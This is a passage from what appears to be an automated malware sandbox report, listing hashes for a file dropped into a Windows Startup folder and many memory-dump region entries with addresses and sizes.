                2c9195e27c30ffbec570c3221ac7b70b13bbaa0f

                SHA256

                b195f119e31d19887b3d4891438d08e8a33ded8d8ef15a9e63a187f8de274ae5

                SHA512

                ce3d2df12dd339110f41b691334e35e2c451d4450c2f66bbb46801d362b589ba0c24e9074c7a2aaf1ffaae427920d247a44a459ac42d98d01caeebc70c88e67c

              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x2.vbs

                MD5

                f187cbdda6a909932fb91754eec526ce

                SHA1

                99b8acef2b866da0b292a28ce20ae21ab61c3c37

                SHA256

                ae41db37cb54450895e26fe93d34edd885769ff5dc19b21585fad19172f4a05a

                SHA512

                6f515fee1573e8e5321776a26216b49e0afbceca4175805717d0fb929639d74320398a3661f05614debbed935484f88cc703fc31d495aab1f5f62f3e24502364

              • memory/712-195-0x0000000000000000-mapping.dmp

              • memory/728-223-0x0000000000952000-0x0000000000953000-memory.dmp

                Filesize

                4KB

              • memory/728-207-0x0000000000000000-mapping.dmp

              • memory/728-222-0x0000000000950000-0x0000000000951000-memory.dmp

                Filesize

                4KB

              • memory/728-277-0x0000000000953000-0x0000000000954000-memory.dmp

                Filesize

                4KB

              • memory/728-278-0x0000000000954000-0x0000000000956000-memory.dmp

                Filesize

                8KB

              • memory/828-422-0x000000000040CBBE-mapping.dmp

              • memory/828-448-0x0000000005090000-0x0000000005091000-memory.dmp

                Filesize

                4KB

              • memory/936-115-0x0000000000000000-mapping.dmp

              • memory/984-329-0x0000000000000000-mapping.dmp

              • memory/984-352-0x00000000074A0000-0x00000000074A1000-memory.dmp

                Filesize

                4KB

              • memory/984-355-0x00000000074A2000-0x00000000074A3000-memory.dmp

                Filesize

                4KB

              • memory/984-399-0x00000000074A3000-0x00000000074A4000-memory.dmp

                Filesize

                4KB

              • memory/1016-279-0x00000000070C3000-0x00000000070C4000-memory.dmp

                Filesize

                4KB

              • memory/1016-205-0x0000000000000000-mapping.dmp

              • memory/1016-283-0x00000000070C4000-0x00000000070C6000-memory.dmp

                Filesize

                8KB

              • memory/1016-210-0x0000000004D90000-0x0000000004D91000-memory.dmp

                Filesize

                4KB

              • memory/1016-224-0x00000000070C2000-0x00000000070C3000-memory.dmp

                Filesize

                4KB

              • memory/1016-209-0x0000000004D90000-0x0000000004D91000-memory.dmp

                Filesize

                4KB

              • memory/1016-221-0x00000000070C0000-0x00000000070C1000-memory.dmp

                Filesize

                4KB

              • memory/1212-305-0x0000000004C42000-0x0000000004C43000-memory.dmp

                Filesize

                4KB

              • memory/1212-442-0x0000000004C43000-0x0000000004C44000-memory.dmp

                Filesize

                4KB

              • memory/1212-271-0x0000000000000000-mapping.dmp

              • memory/1212-443-0x0000000004C44000-0x0000000004C46000-memory.dmp

                Filesize

                8KB

              • memory/1212-303-0x0000000004C40000-0x0000000004C41000-memory.dmp

                Filesize

                4KB

              • memory/1324-116-0x0000000000000000-mapping.dmp

              • memory/1412-415-0x000000000040676E-mapping.dmp

              • memory/1412-453-0x0000000004F80000-0x000000000501C000-memory.dmp

                Filesize

                624KB

              • memory/1484-301-0x0000000004D72000-0x0000000004D73000-memory.dmp

                Filesize

                4KB

              • memory/1484-273-0x0000000000000000-mapping.dmp

              • memory/1484-447-0x0000000004D74000-0x0000000004D76000-memory.dmp

                Filesize

                8KB

              • memory/1484-446-0x0000000004D73000-0x0000000004D74000-memory.dmp

                Filesize

                4KB

              • memory/1484-299-0x0000000004D70000-0x0000000004D71000-memory.dmp

                Filesize

                4KB

              • memory/1608-149-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-163-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-171-0x000001F470036000-0x000001F470038000-memory.dmp

                Filesize

                8KB

              • memory/1608-179-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-157-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-156-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-154-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-147-0x0000000000000000-mapping.dmp

              • memory/1608-172-0x000001F4709F0000-0x000001F470A06000-memory.dmp

                Filesize

                88KB

              • memory/1608-148-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-150-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-151-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-170-0x000001F470020000-0x000001F470026000-memory.dmp

                Filesize

                24KB

              • memory/1608-169-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-173-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-152-0x000001F457890000-0x000001F457892000-memory.dmp

                Filesize

                8KB

              • memory/1608-160-0x000001F470030000-0x000001F470032000-memory.dmp

                Filesize

                8KB

              • memory/1608-161-0x000001F470033000-0x000001F470035000-memory.dmp

                Filesize

                8KB

              • memory/1652-407-0x0000000000F63000-0x0000000000F64000-memory.dmp

                Filesize

                4KB

              • memory/1652-359-0x0000000000F62000-0x0000000000F63000-memory.dmp

                Filesize

                4KB

              • memory/1652-357-0x0000000000F60000-0x0000000000F61000-memory.dmp

                Filesize

                4KB

              • memory/1652-334-0x0000000000000000-mapping.dmp

              • memory/1696-211-0x0000000003440000-0x0000000003441000-memory.dmp

                Filesize

                4KB

              • memory/1696-220-0x0000000004E90000-0x0000000004E91000-memory.dmp

                Filesize

                4KB

              • memory/1696-206-0x0000000000000000-mapping.dmp

              • memory/1696-276-0x0000000004E94000-0x0000000004E96000-memory.dmp

                Filesize

                8KB

              • memory/1696-275-0x0000000004E93000-0x0000000004E94000-memory.dmp

                Filesize

                4KB

              • memory/1696-225-0x0000000004E92000-0x0000000004E93000-memory.dmp

                Filesize

                4KB

              • memory/1696-208-0x0000000003440000-0x0000000003441000-memory.dmp

                Filesize

                4KB

              • memory/1800-200-0x0000000000000000-mapping.dmp

              • memory/1852-135-0x00000209AB360000-0x00000209AB362000-memory.dmp

                Filesize

                8KB

              • memory/1852-159-0x00000209ACE33000-0x00000209ACE35000-memory.dmp

                Filesize

                8KB

              • memory/1852-181-0x00000209AB360000-0x00000209AB362000-memory.dmp

                Filesize

                8KB

              • memory/1852-182-0x00000209ACE36000-0x00000209ACE38000-memory.dmp

                Filesize

                8KB

              • memory/1852-158-0x00000209ACE30000-0x00000209ACE32000-memory.dmp

                Filesize

                8KB

              • memory/1852-133-0x0000000000000000-mapping.dmp

              • memory/1852-143-0x00000209AB360000-0x00000209AB362000-memory.dmp

                Filesize

                8KB

              • memory/1852-145-0x00000209AB360000-0x00000209AB362000-memory.dmp

                Filesize

                8KB

              • memory/1852-138-0x00000209AB360000-0x00000209AB362000-memory.dmp

                Filesize

                8KB

              • memory/1852-137-0x00000209AB360000-0x00000209AB362000-memory.dmp

                Filesize

                8KB

              • memory/1852-136-0x00000209AB360000-0x00000209AB362000-memory.dmp

                Filesize

                8KB

              • memory/1852-139-0x00000209AB360000-0x00000209AB362000-memory.dmp

                Filesize

                8KB

              • memory/1852-142-0x00000209AB360000-0x00000209AB362000-memory.dmp

                Filesize

                8KB

              • memory/2672-201-0x0000000000000000-mapping.dmp

              • memory/2856-400-0x0000000006A53000-0x0000000006A54000-memory.dmp

                Filesize

                4KB

              • memory/2856-325-0x0000000000000000-mapping.dmp

              • memory/2856-351-0x0000000006A52000-0x0000000006A53000-memory.dmp

                Filesize

                4KB

              • memory/2856-332-0x0000000006A50000-0x0000000006A51000-memory.dmp

                Filesize

                4KB

              • memory/3132-421-0x000000000040676E-mapping.dmp

              • memory/3396-190-0x0000000005CF0000-0x0000000005CF1000-memory.dmp

                Filesize

                4KB

              • memory/3396-189-0x0000000005A90000-0x0000000005A91000-memory.dmp

                Filesize

                4KB

              • memory/3396-186-0x0000000005F10000-0x0000000005F11000-memory.dmp

                Filesize

                4KB

              • memory/3396-191-0x0000000006B10000-0x0000000006B2A000-memory.dmp

                Filesize

                104KB

              • memory/3396-185-0x0000000005970000-0x0000000005971000-memory.dmp

                Filesize

                4KB

              • memory/3396-193-0x0000000006C90000-0x0000000006C91000-memory.dmp

                Filesize

                4KB

              • memory/3396-188-0x0000000005A10000-0x0000000005F0E000-memory.dmp

                Filesize

                5.0MB

              • memory/3396-177-0x0000000000400000-0x000000000040C000-memory.dmp

                Filesize

                48KB

              • memory/3396-178-0x000000000040676E-mapping.dmp

              • memory/3396-187-0x0000000005AF0000-0x0000000005AF1000-memory.dmp

                Filesize

                4KB

              • memory/3412-204-0x0000000000000000-mapping.dmp

              • memory/3680-202-0x0000000000000000-mapping.dmp

              • memory/3700-203-0x0000000000000000-mapping.dmp

              • memory/3932-197-0x0000000000000000-mapping.dmp

              • memory/3976-309-0x0000000006932000-0x0000000006933000-memory.dmp

                Filesize

                4KB

              • memory/3976-307-0x0000000006930000-0x0000000006931000-memory.dmp

                Filesize

                4KB

              • memory/3976-445-0x0000000006934000-0x0000000006936000-memory.dmp

                Filesize

                8KB

              • memory/3976-444-0x0000000006933000-0x0000000006934000-memory.dmp

                Filesize

                4KB

              • memory/3992-196-0x0000000000000000-mapping.dmp

              • memory/4092-124-0x0000017BB9F00000-0x0000017BB9F02000-memory.dmp

                Filesize

                8KB

              • memory/4092-120-0x0000017BB9F00000-0x0000017BB9F02000-memory.dmp

                Filesize

                8KB

              • memory/4092-125-0x0000017BB9F00000-0x0000017BB9F02000-memory.dmp

                Filesize

                8KB

              • memory/4092-130-0x0000017BB9F00000-0x0000017BB9F02000-memory.dmp

                Filesize

                8KB

              • memory/4092-123-0x0000017BBBBE0000-0x0000017BBBBE1000-memory.dmp

                Filesize

                4KB

              • memory/4092-122-0x0000017BB9F00000-0x0000017BB9F02000-memory.dmp

                Filesize

                8KB

              • memory/4092-121-0x0000017BB9F00000-0x0000017BB9F02000-memory.dmp

                Filesize

                8KB

              • memory/4092-126-0x0000017BD48D0000-0x0000017BD48D1000-memory.dmp

                Filesize

                4KB

              • memory/4092-118-0x0000017BB9F00000-0x0000017BB9F02000-memory.dmp

                Filesize

                8KB

              • memory/4092-127-0x0000017BB9F00000-0x0000017BB9F02000-memory.dmp

                Filesize

                8KB

              • memory/4092-132-0x0000017BBBC36000-0x0000017BBBC38000-memory.dmp

                Filesize

                8KB

              • memory/4092-129-0x0000017BBBC30000-0x0000017BBBC32000-memory.dmp

                Filesize

                8KB

              • memory/4092-131-0x0000017BBBC33000-0x0000017BBBC35000-memory.dmp

                Filesize

                8KB

              • memory/4092-119-0x0000017BB9F00000-0x0000017BB9F02000-memory.dmp

                Filesize

                8KB

              • memory/4092-117-0x0000000000000000-mapping.dmp